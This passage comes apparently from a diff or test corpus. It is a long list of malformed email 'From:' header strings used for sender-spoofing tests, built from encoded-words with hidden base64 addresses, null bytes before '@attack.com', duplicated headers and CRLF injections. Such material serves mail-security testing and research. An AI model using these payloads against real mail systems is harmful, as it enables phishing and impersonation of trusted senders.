<=?utf-8?RnJvbTp3b3Jkd29yZHdvcmR3b3Jkd29yZDxAZ21haWwuY29tOkBiLmNvbTpBbGljZUAxMjYuY29tPihoaSkNCg===?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZCgpLjxockBjaGluYS5jb20+KGhpKQ0K=?=>", - "From:(\r\n),wordword(\r\n)(\r\n),\r\n", - " From:admin@ymail.com,word(hi)(),<@qq.com:@163.com:security@hotmail.com>,Alice@foxmail.com,<@a.com:@b.com:attacker@hotmail.com>(\r\n)\r\n", - "From: <=?utf-8?RnJvbTpNaWtlQGZveG1haWwuY29tDQo==?=>", - "From: admin@sina.com,(comment),\r\n", - "From: ()\r\n", - "From:admin@ymail.com,word(hi)(),<@qq.com:@163.com:security@hotmail.com>,Alice@foxmail.com,<@a.com:@b.com:attacker@hotmail.com>(\r\n)\r\n", - "From: ,(comment)<@gmail.com:@b.com:security@outlook.com>\r\n", - "From:word<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", - "From: <=?utf-8?RnJvbTosKGhpKTxzZWN1cml0eUBpY2xvdWQuY29tPiwoDQopDQo==?=>", - " Fromÿ: \r\nFrom:,webmaster@ymail.com\r\n", - " FrOM: \r\nFrom:,security@china.com\r\n", - "From: (),Bob@qq.com\r\n", - " From:Bob@top.com,word<@gmail.com:@b.com:Bob@outlook.com>()\r\n", - " From:key@msn.com,attacker@163.com,word.()(comm\r\nent)()<@qq.com:@163.com:Mike@sina.cn>(comm\r\nent),wordword(comment)<@qq.com:@163.com:security@sohu.com>(\r\n),word(comm\r\nent),word\r\n", - " FrOM: \r\nFrom:,Mike@icloud.com\r\n", - " Fromÿ: \r\nFrom:(comment),(),webmaster@hotmail.com\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBsaXZlLmNvbSwoDQopPHdlYm1hc3RlckBjaGluYS5jb20+DQo==?=>", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8YWRtaW5AcXEuY29tPg0K=?=>", - " FrOM: \r\nFrom:(hi)(comment),attacker@qq.com,(),webmaster@sina.com\r\n", - " From:(comm\r\nent),Bob@china.com,Bob@qq.com,,,(comment)\r\n", - "From: <=?utf-8?RnJvbTpCb2JAcXEuY29tLHdvcmR3b3Jkd29yZHdvcmQ8QWxpY2VAY2hpbmEuY29tPihoaSkNCg===?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTpockAxMjYuY29tDQo==?=>\u0000@attack.com", - "From: <@gmail.com:@b.com:key@top.com>\r\n", - " Fromÿ: \r\nFrom:word(\r\n)(\r\n),Mike@qq.com,Alice@163.com,(comm\r\nent)(),key@icloud.com\r\n", - "From: \r\nFrom:wordword\r\n", - " FrOM: \r\nFrom:()(comment)\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZChjb21tZW50KTxAZ21haWwuY29tOkBiLmNvbTp3ZWJtYXN0ZXJAeW1haWwuY29tLmNuPg0K=?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTphdHRhY2tlckAxMjYuY29tDQo==?=>\u0000@attack.com", - " From:admin@china.com\r\n", - "From: key@msn.com\r\n", - " From:key@icloud.com\r\n", - " Fromÿ: \r\nFrom:,(\r\n),()<@a.com:@b.com:admin@qq.com>(),,(hi),(comm\r\nent)<@gmail.com:@b.com:webmaster@gmail.com>\r\n", - " From: \r\nFrom:(comment),(),webmaster@hotmail.com\r\n", - "From :wordword(hi)<@gmail.com:@b.com:admin@hotmail.com>,\r\n", - " From: \r\nFrom:wordword(\r\n)(comment)\r\n", - "From: ()<@qq.com:@163.com:Mike@outlook.com>(\r\n)\r\n", - " From:<@qq.com:@163.com:attacker@live.com>(comment)\r\n", - "From: <=?utf-8?RnJvbTosTWlrZUB5bWFpbC5jb20NCg===?=>\u0000@attack.com", - " FrOM: \r\nFrom:wordword(),wordwordword(comm\r\nent)\r\n", - " From: \r\nFrom:word<@a.com:@b.com:admin@icloud.com>,(\r\n)<@a.com:@b.com:Alice@gmail.com>,(hi)<@qq.com:@163.com:key@sohu.com>,word(\r\n)(hi),security@aliyun.com,webmaster@126.com\r\n", - "From: \r\nFrom:admin@qq.com\r\n", - "From :webmaster@gmail.com\r\n", - " Fromÿ: \r\nFrom:key@sina.cn,\r\n", - " From: \r\nFrom:(),(hi)<@a.com:@b.com:Alice@live.com>(hi),\r\n", - "From: \r\nFrom:<@a.com:@b.com:security@qq.com>\r\n", - " Fromÿ: \r\nFrom:word,<@a.com:@b.com:security@sohu.com>\r\n", - "From: \r\nFrom:(comment),word(comm\r\nent),(),(\r\n)\r\n", - " From:security@china.com,,\r\n", - "From :(comment),()<@gmail.com:@b.com:Bob@icloud.com>,,<@qq.com:@163.com:Alice@ymail.com.cn>,(hi),(comment)\r\n", - "From:,(\r\n),()<@a.com:@b.com:admin@qq.com>(),,(hi),(comm\r\nent)<@gmail.com:@b.com:webmaster@gmail.com>\r\n", - "From: ,,Alice@hotmail.com,webmaster@foxmail.com\r\n", - "From: <=?utf-8?RnJvbTpNaWtlQDE2My5jb20sKGNvbW0NCmVudCkNCg===?=>", - " From:,security@china.com\r\n", - " FrOM: \r\nFrom:word(comment),<@qq.com:@163.com:Bob@ymail.com.cn>\r\n", - "From: \r\nFrom:key@msn.com,attacker@163.com,word.()(comm\r\nent)()<@qq.com:@163.com:Mike@sina.cn>(comm\r\nent),wordword(comment)<@qq.com:@163.com:security@sohu.com>(\r\n),word(comm\r\nent),word\r\n", - "From:(hi),(comm\r\nent),word().(\r\n)\r\n", - "From: <=?utf-8?RnJvbTosPEBhLmNvbTpAYi5jb206QWxpY2VAc2luYS5jbj4NCg===?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:admin@ymail.com,word(hi)(),<@qq.com:@163.com:security@hotmail.com>,Alice@foxmail.com,<@a.com:@b.com:attacker@hotmail.com>(\r\n)\r\n", - "From: \r\nFrom:hr@aliyun.com\r\n", - " From: \r\nFrom:,(\r\n)\r\n", - "From: key@ymail.com.cn\r\n", - "From: hr@ymail.com.cn\r\n", - "From :admin@163.com,attacker@hotmail.com\r\n", - " From: \r\nFrom:webmaster@sina.com\r\n", - " From:admin@139.com,(comm\r\nent)(comment)\r\n", - " From:word()<@qq.com:@163.com:Alice@sina.cn>(\r\n)\r\n", - " FrOM: \r\nFrom:Mike@msn.com,hr@top.com,webmaster@hotmail.com\r\n", - "From: word(comment)<@a.com:@b.com:key@126.com>,word.(\r\n),word()(comment),,(comment)\r\n", - "From:Bob@sohu.com,security@sohu.com\r\n", - "From :,Alice@top.com\r\n", - " Fromÿ: \r\nFrom:word(hi)(comm\r\nent)\r\n", - "From :,(comm\r\nent),security@foxmail.com,,hr@sina.cn,(comm\r\nent)\r\n", - " Fromÿ: \r\nFrom:,hr@live.com,hr@126.com\r\n", - "From:,Alice@china.com\r\n", - "From:wordword<@a.com:@b.com:Mike@icloud.com>(),word(comment),security@msn.com,word\r\n", - "From: (hi)(comment),attacker@qq.com,(),webmaster@sina.com\r\n", - " From: \r\nFrom:Mike@foxmail.com\r\n", - "From: \r\nFrom:word<@a.com:@b.com:key@outlook.com>(\r\n),,(comment)\r\n", - " Fromÿ: \r\nFrom:,Alice@top.com\r\n", - " From:<@gmail.com:@b.com:key@top.com>\r\n", - "From :word<@a.com:@b.com:key@outlook.com>(\r\n),,(comment)\r\n", - "From :(\r\n)<@gmail.com:@b.com:webmaster@ymail.com>\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPGtleUAxMjYuY29tPihoaSksd29yZDxAYS5jb206QGIuY29tOk1pa2VAaWNsb3VkLmNvbT4NCg===?=>\u0000@attack.com", - " From: \r\nFrom:,,Alice@hotmail.com,webmaster@foxmail.com\r\n", - "From: <=?utf-8?RnJvbTo8YWRtaW5AcXEuY29tPihjb21tZW50KSwoY29tbWVudCk8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAMTM5LmNvbT4sPGFkbWluQGljbG91ZC5jb20+DQo==?=>", - "From :word<@qq.com:@163.com:webmaster@ymail.com.cn>,Alice@gmail.com,word(comment)..word\r\n", - "From:Bob@qq.com,wordwordwordword(hi)\r\n", - " From: \r\nFrom:word<@a.com:@b.com:key@outlook.com>(\r\n),,(comment)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206YWRtaW5AYWxpeXVuLmNvbT4oKSxhZG1pbkB0b3AuY29tLA0K=?=>\u0000@attack.com", - "From :word(comm\r\nent)\r\n", - "From :wordwordword(comment)\r\n", - " From:word(comment),<@qq.com:@163.com:Bob@ymail.com.cn>\r\n", - " Fromÿ: \r\nFrom:attacker@sohu.com\r\n", - "From: <=?utf-8?RnJvbTphdHRhY2tlckAxMjYuY29tDQo==?=>", - "From: \r\nFrom:,Mike@ymail.com\r\n", - "From :<@a.com:@b.com:attacker@139.com>\r\n", - "From: <=?utf-8?RnJvbTooDQopPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckB5bWFpbC5jb20+DQo==?=>\u0000@attack.com", - "From: (comment),wordword\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBzb2h1LmNvbQ0K=?=>", - "From: <=?utf-8?RnJvbTosQm9iQHltYWlsLmNvbQ0K=?=>", - "From:word<@a.com:@b.com:key@outlook.com>(\r\n),,(comment)\r\n", - " From: \r\nFrom:wordword().(hi)\r\n", - "From:(comm\r\nent),attacker@163.com\r\n", - " From:word<@a.com:@b.com:admin@aliyun.com>(),admin@top.com,\r\n", - " Fromÿ: \r\nFrom:,(\r\n)\r\n", - " From:word<@qq.com:@163.com:webmaster@ymail.com.cn>,Alice@gmail.com,word(comment)..word\r\n", - "From: \r\nFrom:admin@live.com,(\r\n)\r\n", - "From :wordword<@qq.com:@163.com:Mike@ymail.com.cn>,attacker@ymail.com.cn\r\n", - "From :key@ymail.com.cn\r\n", - " Fromÿ: \r\nFrom:admin@live.com,key@icloud.com,<@gmail.com:@b.com:hr@ymail.com.cn>()\r\n", - " FrOM: \r\nFrom:()\r\n", - " From: \r\nFrom:(hi)(),security@aliyun.com,word(comment)<@a.com:@b.com:Bob@ymail.com>(),word(\r\n)\r\n", - "From:(hi),admin@msn.com\r\n", - " Fromÿ: \r\nFrom:admin@china.com,,,\r\n", - " From:hr@foxmail.com,,\r\n", - " From: \r\nFrom:admin@sohu.com\r\n", - "From: <=?utf-8?RnJvbTpCb2JAc29odS5jb20sTWlrZUBxcS5jb20NCg===?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTooKSxNaWtlQDEzOS5jb20sDQo==?=>\u0000@attack.com", - "From: \r\nFrom:admin@sina.com,(comment),\r\n", - "From:Alice@outlook.com,word\r\n", - "From: word(comm\r\nent)\r\n", - "From: \r\nFrom:webmaster@foxmail.com,(comm\r\nent),attacker@sina.cn,\r\n", - "From: \r\nFrom:attacker@sohu.com,webmaster@foxmail.com\r\n", - "From: <=?utf-8?RnJvbTpzZWN1cml0eUBzaW5hLmNvbQ0K=?=>\u0000@attack.com", - "From:(comm\r\nent),key@top.com,(hi),word(hi)(comment)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCkoY29tbWVudCk8QHFxLmNvbTpAMTYzLmNvbTp3ZWJtYXN0ZXJAeW1haWwuY29tLmNuPiwNCg===?=>\u0000@attack.com", - " From: \r\nFrom:word(\r\n)(\r\n)\r\n", - "From: <=?utf-8?RnJvbTooaGkpLCgpLCwsd29yZCgpKA0KKTxNaWtlQHNpbmEuY24+KCkNCg===?=>\u0000@attack.com", - " From:word(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAcXEuY29tLCgpDQo==?=>\u0000@attack.com", - " From:key@outlook.com,(comm\r\nent)\r\n", - "From:(comment),()<@gmail.com:@b.com:Bob@icloud.com>,,<@qq.com:@163.com:Alice@ymail.com.cn>,(hi),(comment)\r\n", - " From:word,<@a.com:@b.com:security@sohu.com>\r\n", - "From:wordword<@qq.com:@163.com:admin@hotmail.com>,admin@sohu.com,\r\n", - "From: webmaster@gmail.com,key@126.com\r\n", - " Fromÿ: \r\nFrom:wordword().(hi)\r\n", - " Fromÿ: \r\nFrom:,security@china.com\r\n", - " From: \r\nFrom:admin@ymail.com,word(hi)(),<@qq.com:@163.com:security@hotmail.com>,Alice@foxmail.com,<@a.com:@b.com:attacker@hotmail.com>(\r\n)\r\n", - "From: ,(comment),key@qq.com,(hi)\r\n", - "From:<@a.com:@b.com:Bob@163.com>(hi)\r\n", - "From :(comm\r\nent)\r\n", - "From :Bob@sohu.com,Mike@qq.com\r\n", - "From: \r\nFrom:attacker@outlook.com\r\n", - "From:<@gmail.com:@b.com:Alice@sina.com>,(hi)(hi)\r\n", - "From:(comment),word(comm\r\nent),(),(\r\n)\r\n", - "From :,webmaster@ymail.com\r\n", - " From: \r\nFrom:word()<@qq.com:@163.com:Alice@sina.cn>(\r\n)\r\n", - "From: wordwordwordwordword<@gmail.com:@b.com:Alice@126.com>(hi)\r\n", - " From: \r\nFrom:(comm\r\nent),key@sohu.com\r\n", - " FrOM: \r\nFrom:,(hi),(\r\n)\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBjaGluYS5jb20sLCwNCg===?=>\u0000@attack.com", - " From:Bob@126.com\r\n", - " Fromÿ: \r\nFrom:wordword(hi)<@gmail.com:@b.com:admin@hotmail.com>,\r\n", - "From:hr@gmail.com\r\n", - " FrOM: \r\nFrom:security@sina.com\r\n", - "From: <=?utf-8?RnJvbTphdHRhY2tlckBnbWFpbC5jb20sKGNvbW0NCmVudCk8Qm9iQGZveG1haWwuY29tPihjb21tZW50KSxrZXlAZ21haWwuY29tDQo==?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:(comm\r\nent)(hi)\r\n", - " From: \r\nFrom:word(comment)(comment)\r\n", - "From:<@qq.com:@163.com:Alice@gmail.com>(hi),word<@gmail.com:@b.com:key@ymail.com.cn>(comm\r\nent),Alice@ymail.com.cn,wordword<@gmail.com:@b.com:Alice@aliyun.com>(hi),(\r\n)<@qq.com:@163.com:webmaster@139.com>\r\n", - " From:word(comm\r\nent)\r\n", - "From :,,,\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPHdlYm1hc3RlckAxMjYuY29tPihjb21tZW50KQ0K=?=>", - "From: <=?utf-8?RnJvbTosTWlrZUBpY2xvdWQuY29tDQo==?=>", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTx3ZWJtYXN0ZXJAMTI2LmNvbT4oY29tbQ0KZW50KQ0K=?=>\u0000@attack.com", - "From:attacker@163.com\r\n", - " FrOM: \r\nFrom:,Alice@china.com\r\n", - " From:(),key@icloud.com,,,\r\n", - " Fromÿ: \r\nFrom:<@qq.com:@163.com:Mike@163.com>\r\n", - "From: (comment)<@a.com:@b.com:Bob@139.com>\r\n", - " From:(comment)<@gmail.com:@b.com:Alice@gmail.com>(\r\n)\r\n", - "From: admin@live.com,(\r\n)\r\n", - " FrOM: \r\nFrom:wordword(\r\n)(comment)\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwoDQopLCgNCiksLHdvcmR3b3JkPEBxcS5jb206QDE2My5jb206Qm9iQGhvdG1haWwuY29tPigpDQo==?=>", - " Fromÿ: \r\nFrom:Bob@top.com,word<@gmail.com:@b.com:Bob@outlook.com>()\r\n", - "From :admin@china.com\r\n", - "From: \r\nFrom:webmaster@qq.com,()\r\n", - " Fromÿ: \r\nFrom:,Alice@china.com\r\n", - " Fromÿ: \r\nFrom:webmaster@foxmail.com,(comm\r\nent),attacker@sina.cn,\r\n", - "From: <=?utf-8?RnJvbTpCb2JAbXNuLmNvbSxNaWtlQDEyNi5jb20sd29yZDxhdHRhY2tlckAxMzkuY29tPihjb21tZW50KSx3b3JkPEBxcS5jb206QDE2My5jb206QWxpY2VAb3V0bG9vay5jb20+KGNvbW0NCmVudCkNCg===?=>\u0000@attack.com", - " From: \r\nFrom:hr@163.com\r\n", - " FrOM: \r\nFrom:word<@gmail.com:@b.com:webmaster@msn.com>,<@a.com:@b.com:key@foxmail.com>,\r\n", - " Fromÿ: \r\nFrom:(comm\r\nent),,(),(hi),,,key@hotmail.com,\r\n", - "From: <=?utf-8?RnJvbTosKA0KKSxockBhbGl5dW4uY29tLA0K=?=>\u0000@attack.com", - "From: key@msn.com,attacker@163.com,word.()(comm\r\nent)()<@qq.com:@163.com:Mike@sina.cn>(comm\r\nent),wordword(comment)<@qq.com:@163.com:security@sohu.com>(\r\n),word(comm\r\nent),word\r\n", - "From: <=?utf-8?RnJvbTooaGkpPEBxcS5jb206QDE2My5jb206YWRtaW5AZm94bWFpbC5jb20+KCksPEBnbWFpbC5jb206QGIuY29tOmtleUBmb3htYWlsLmNvbT4oDQopLDxAYS5jb206QGIuY29tOk1pa2VAeW1haWwuY29tLmNuPigpLChjb21tDQplbnQpPEFsaWNlQHFxLmNvbT4NCg===?=>", - " From:key@foxmail.com,(\r\n)\r\n", - " FrOM: \r\nFrom:webmaster@foxmail.com,(comm\r\nent),attacker@sina.cn,\r\n", - " From:(comment),()<@gmail.com:@b.com:Bob@icloud.com>,,<@qq.com:@163.com:Alice@ymail.com.cn>,(hi),(comment)\r\n", - "From :,word(\r\n),,(),key@ymail.com.cn,()\r\n", - "From: \r\nFrom:(hi)<@qq.com:@163.com:admin@foxmail.com>(),<@gmail.com:@b.com:key@foxmail.com>(\r\n),<@a.com:@b.com:Mike@ymail.com.cn>(),(comm\r\nent)\r\n", - " Fromÿ: \r\nFrom:admin@sina.com,(comment),\r\n", - "From :(comment),(hi),attacker@outlook.com,(),key@163.com\r\n", - " Fromÿ: \r\nFrom:,attacker@hotmail.com\r\n", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jb20sTWlrZUB5bWFpbC5jb20uY24NCg===?=>", - " From: \r\nFrom:,(hi)<@a.com:@b.com:Bob@sohu.com>,\r\n", - "From: \r\nFrom:word(hi)(comm\r\nent)\r\n", - " From: \r\nFrom:word<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", - "From: hr@foxmail.com\r\n", - "From:,()(comment),(\r\n)\r\n", - "From: word<@a.com:@b.com:key@outlook.com>(\r\n),,(comment)\r\n", - "From: \r\nFrom:wordword(\r\n),Alice@ymail.com,webmaster@live.com,admin@icloud.com,security@sohu.com\r\n", - "From: \r\nFrom:admin@163.com,attacker@hotmail.com\r\n", - " FrOM: \r\nFrom:(hi)(),security@aliyun.com,word(comment)<@a.com:@b.com:Bob@ymail.com>(),word(\r\n)\r\n", - " From: \r\nFrom:Alice@foxmail.com,attacker@139.com\r\n", - " From: \r\nFrom:word(\r\n)(\r\n),Mike@qq.com,Alice@163.com,(comm\r\nent)(),key@icloud.com\r\n", - "From: ,Alice@china.com\r\n", - "From :Mike@gmail.com,admin@gmail.com,key@qq.com,hr@qq.com,hr@msn.com,key@foxmail.com,admin@qq.com,webmaster@top.com,word<@qq.com:@163.com:Mike@sohu.com>,word<@a.com:@b.com:key@icloud.com>(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTosKGhpKTxAYS5jb206QGIuY29tOkJvYkBzb2h1LmNvbT4sDQo==?=>", - " From: \r\nFrom:(comment)<@a.com:@b.com:Bob@139.com>\r\n", - " Fromÿ: \r\nFrom:wordword(\r\n),Alice@ymail.com,webmaster@live.com,admin@icloud.com,security@sohu.com\r\n", - "From:key@hotmail.com\r\n", - "From: security@163.com\r\n", - " FrOM: \r\nFrom:(comm\r\nent),,key@aliyun.com,,\r\n", - " From:,Mike@icloud.com\r\n", - " From: \r\nFrom:,Alice@top.com\r\n", - "From: \r\nFrom:word<@a.com:@b.com:admin@icloud.com>,(\r\n)<@a.com:@b.com:Alice@gmail.com>,(hi)<@qq.com:@163.com:key@sohu.com>,word(\r\n)(hi),security@aliyun.com,webmaster@126.com\r\n", - "From: \r\nFrom:Mike@top.com,(comm\r\nent)<@a.com:@b.com:Bob@126.com>(hi),admin@icloud.com\r\n", - " From: \r\nFrom:word<@a.com:@b.com:admin@aliyun.com>(),admin@top.com,\r\n", - "From: \r\nFrom:()<@qq.com:@163.com:Mike@outlook.com>(\r\n)\r\n", - "From: (comm\r\nent),Bob@qq.com,admin@top.com,\r\n", - "From: <=?utf-8?RnJvbTooY29tbWVudCk8QWxpY2VAMTM5LmNvbT4sd29yZDxAcXEuY29tOkAxNjMuY29tOnNlY3VyaXR5QG1zbi5jb20+KGNvbW0NCmVudCksaHJAMTM5LmNvbQ0K=?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTooaGkpPGhyQGdtYWlsLmNvbT4oaGkpLDxAcXEuY29tOkAxNjMuY29tOkFsaWNlQGdtYWlsLmNvbT4oKQ0K=?=>", - " FrOM: \r\nFrom:key@outlook.com,(comm\r\nent)\r\n", - "From: (comm\r\nent),,(),(hi),,,key@hotmail.com,\r\n", - "From: <=?utf-8?RnJvbTpzZWN1cml0eUB5bWFpbC5jb20uY24sc2VjdXJpdHlAcXEuY29tLHdvcmR3b3JkPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckB5bWFpbC5jb20uY24+DQo==?=>", - "From: <=?utf-8?RnJvbTprZXlAdG9wLmNvbSx3b3JkKGNvbW0NCmVudCl3b3JkKA0KKTxAZ21haWwuY29tOkBiLmNvbTpNaWtlQGhvdG1haWwuY29tPihjb21tZW50KQ0K=?=>\u0000@attack.com", - "From: ,webmaster@sina.cn,,,(\r\n)\r\n", - "From: <=?utf-8?RnJvbTpNaWtlQG1zbi5jb20NCg===?=>", - " From:,webmaster@ymail.com\r\n", - "From: Alice@163.com\r\n", - "From :word.()(),<@gmail.com:@b.com:key@msn.com>(comm\r\nent),word(\r\n),\r\n", - "From: <=?utf-8?RnJvbTpockBpY2xvdWQuY29tLChjb21tDQplbnQpPEBxcS5jb206QDE2My5jb206QWxpY2VAb3V0bG9vay5jb20+LChjb21tZW50KSwsKA0KKSx3b3JkPEBnbWFpbC5jb206QGIuY29tOmhyQHNpbmEuY24+KCksDQo==?=>", - "From: Bob@top.com,word<@gmail.com:@b.com:Bob@outlook.com>()\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZChjb21tZW50KTxAcXEuY29tOkAxNjMuY29tOndlYm1hc3RlckBjaGluYS5jb20+DQo==?=>", - "From :,Mike@ymail.com\r\n", - " From:()<@qq.com:@163.com:Mike@outlook.com>(\r\n)\r\n", - "From: (comm\r\nent)\r\n", - " FrOM: \r\nFrom:word<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", - " From:wordword\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206YWRtaW5AaWNsb3VkLmNvbT4sKA0KKTxAYS5jb206QGIuY29tOkFsaWNlQGdtYWlsLmNvbT4sKGhpKTxAcXEuY29tOkAxNjMuY29tOmtleUBzb2h1LmNvbT4sd29yZCgNCik8YXR0YWNrZXJAZ21haWwuY29tPihoaSksc2VjdXJpdHlAYWxpeXVuLmNvbSx3ZWJtYXN0ZXJAMTI2LmNvbQ0K=?=>\u0000@attack.com", - " From: \r\nFrom:key@outlook.com,(comm\r\nent)\r\n", - " From:Alice@foxmail.com,attacker@139.com\r\n", - "From: \r\nFrom:webmaster@sina.com,Mike@ymail.com.cn\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwsa2V5QGFsaXl1bi5jb20sLA0K=?=>", - "From: \r\nFrom:key@sina.cn,\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBxcS5jb20NCg===?=>\u0000@attack.com", - " From: \r\nFrom:,(\r\n),(),Bob@139.com,,,(\r\n)\r\n", - " From: \r\nFrom:,key@139.com,,(hi),,(),\r\n", - "From: Alice@outlook.com,word\r\n", - "From: \r\nFrom:word(\r\n)(\r\n),Mike@qq.com,Alice@163.com,(comm\r\nent)(),key@icloud.com\r\n", - "From: Mike@163.com,(comm\r\nent)\r\n", - "From: admin@139.com,(comm\r\nent)(comment)\r\n", - " FrOM: \r\nFrom:,<@gmail.com:@b.com:admin@china.com>,(hi)<@gmail.com:@b.com:attacker@msn.com>,(hi),,(),\r\n", - "From :wordword<@gmail.com:@b.com:hr@sohu.com>(comment)\r\n", - " From: \r\nFrom:Bob@sohu.com\r\n", - "From: <@qq.com:@163.com:Alice@gmail.com>(hi),word<@gmail.com:@b.com:key@ymail.com.cn>(comm\r\nent),Alice@ymail.com.cn,wordword<@gmail.com:@b.com:Alice@aliyun.com>(hi),(\r\n)<@qq.com:@163.com:webmaster@139.com>\r\n", - " Fromÿ: \r\nFrom:(hi),(),,,word()(\r\n)()\r\n", - " FrOM: \r\nFrom:admin@live.com,key@icloud.com,<@gmail.com:@b.com:hr@ymail.com.cn>()\r\n", - "From: <=?utf-8?RnJvbTosd2VibWFzdGVyQGZveG1haWwuY29tDQo==?=>", - " Fromÿ: \r\nFrom:admin@qq.com\r\n", - "From: wordword<@a.com:@b.com:Mike@icloud.com>(),word(comment),security@msn.com,word\r\n", - "From: <=?utf-8?RnJvbTpzZWN1cml0eUAxMjYuY29tDQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTosa2V5QDEzOS5jb20sLChoaSksLCgpLA0K=?=>", - " FrOM: \r\nFrom:word(hi),word<@a.com:@b.com:Mike@icloud.com>\r\n", - "From:key@126.com,word()<@gmail.com:@b.com:admin@sina.com>\r\n", - "From: <=?utf-8?RnJvbTooKSwoaGkpPEBhLmNvbTpAYi5jb206QWxpY2VAbGl2ZS5jb20+KGhpKSwNCg===?=>", - "From :wordword<@qq.com:@163.com:admin@hotmail.com>,admin@sohu.com,\r\n", - "From: \r\nFrom:(comment),(hi),attacker@outlook.com,(),key@163.com\r\n", - " Fromÿ: \r\nFrom:key@foxmail.com,(\r\n)\r\n", - " From:(comm\r\nent),,(),(hi),,,key@hotmail.com,\r\n", - "From: \r\nFrom:wordword(\r\n)(comment)\r\n", - " From: \r\nFrom:webmaster@gmail.com\r\n", - " From: \r\nFrom:word(comm\r\nent),security@sina.cn,(comment),security@163.com\r\n", - " FrOM: \r\nFrom:Alice@foxmail.com,attacker@139.com\r\n", - " FrOM: \r\nFrom:,<@a.com:@b.com:Alice@sina.cn>\r\n", - "From :attacker@sohu.com\r\n", - " From:word(comm\r\nent)(comment)<@qq.com:@163.com:webmaster@ymail.com.cn>,\r\n", - "From: <=?utf-8?RnJvbTosLEFsaWNlQGhvdG1haWwuY29tLHdlYm1hc3RlckBmb3htYWlsLmNvbQ0K=?=>\u0000@attack.com", - "From: \r\nFrom:(\r\n),(hi),(),(comm\r\nent),\r\n", - "From: <=?utf-8?RnJvbTosTWlrZUB5bWFpbC5jb20NCg===?=>", - " FrOM: \r\nFrom:attacker@sohu.com\r\n", - "From:wordword(comment)<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", - "From:admin@sohu.com\r\n", - " Fromÿ: \r\nFrom:webmaster@gmail.com\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxNaWtlQHltYWlsLmNvbS5jbj4NCg===?=>\u0000@attack.com", - "From: webmaster@126.com\r\n", - "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUBnbWFpbC5jb20+KGhpKSx3b3JkPEBnbWFpbC5jb206QGIuY29tOmtleUB5bWFpbC5jb20uY24+KGNvbW0NCmVudCksQWxpY2VAeW1haWwuY29tLmNuLHdvcmR3b3JkPEBnbWFpbC5jb206QGIuY29tOkFsaWNlQGFsaXl1bi5jb20+KGhpKSwoDQopPEBxcS5jb206QDE2My5jb206d2VibWFzdGVyQDEzOS5jb20+DQo==?=>", - "From: <=?utf-8?RnJvbTosKGhpKTxAYS5jb206QGIuY29tOkJvYkBzb2h1LmNvbT4sDQo==?=>\u0000@attack.com", - "From:key@top.com,word(comm\r\nent)word(\r\n)<@gmail.com:@b.com:Mike@hotmail.com>(comment)\r\n", - "From: <=?utf-8?RnJvbTpockBhbGl5dW4uY29tDQo==?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:()(comment)\r\n", - "From: \r\nFrom:,hr@live.com,hr@126.com\r\n", - " From:(comm\r\nent)<@gmail.com:@b.com:Mike@163.com>(hi)\r\n", - "From: <=?utf-8?RnJvbTprZXlAZm94bWFpbC5jb20sKA0KKQ0K=?=>\u0000@attack.com", - "From:,webmaster@foxmail.com\r\n", - " FrOM: \r\nFrom:(comm\r\nent),,(),(hi),,,key@hotmail.com,\r\n", - "From: <=?utf-8?RnJvbTooaGkpLChoaSksKA0KKSx3b3JkKGNvbW1lbnQpKGhpKTxAcXEuY29tOkAxNjMuY29tOmF0dGFja2VyQHNpbmEuY24+DQo==?=>\u0000@attack.com", - " From: \r\nFrom:(comment)<@gmail.com:@b.com:Alice@gmail.com>(\r\n)\r\n", - " Fromÿ: \r\nFrom:word<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", - " From: \r\nFrom:(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTosPGF0dGFja2VyQHNpbmEuY24+KA0KKQ0K=?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:word<@qq.com:@163.com:key@126.com>\r\n", - "From: <=?utf-8?RnJvbTo8d2VibWFzdGVyQHNpbmEuY29tPiwoDQopLCgpLEJvYkAxMzkuY29tLCwsKA0KKQ0K=?=>", - " Fromÿ: \r\nFrom:word(comment)(comment)\r\n", - "From :Mike@top.com,key@outlook.com\r\n", - "From: word<@a.com:@b.com:admin@aliyun.com>(),admin@top.com,\r\n", - "From: <=?utf-8?RnJvbTosa2V5QDEzOS5jb20sLChoaSksLCgpLA0K=?=>\u0000@attack.com", - "From: admin@163.com,attacker@hotmail.com\r\n", - "From: ,(\r\n),hr@aliyun.com,\r\n", - " From: 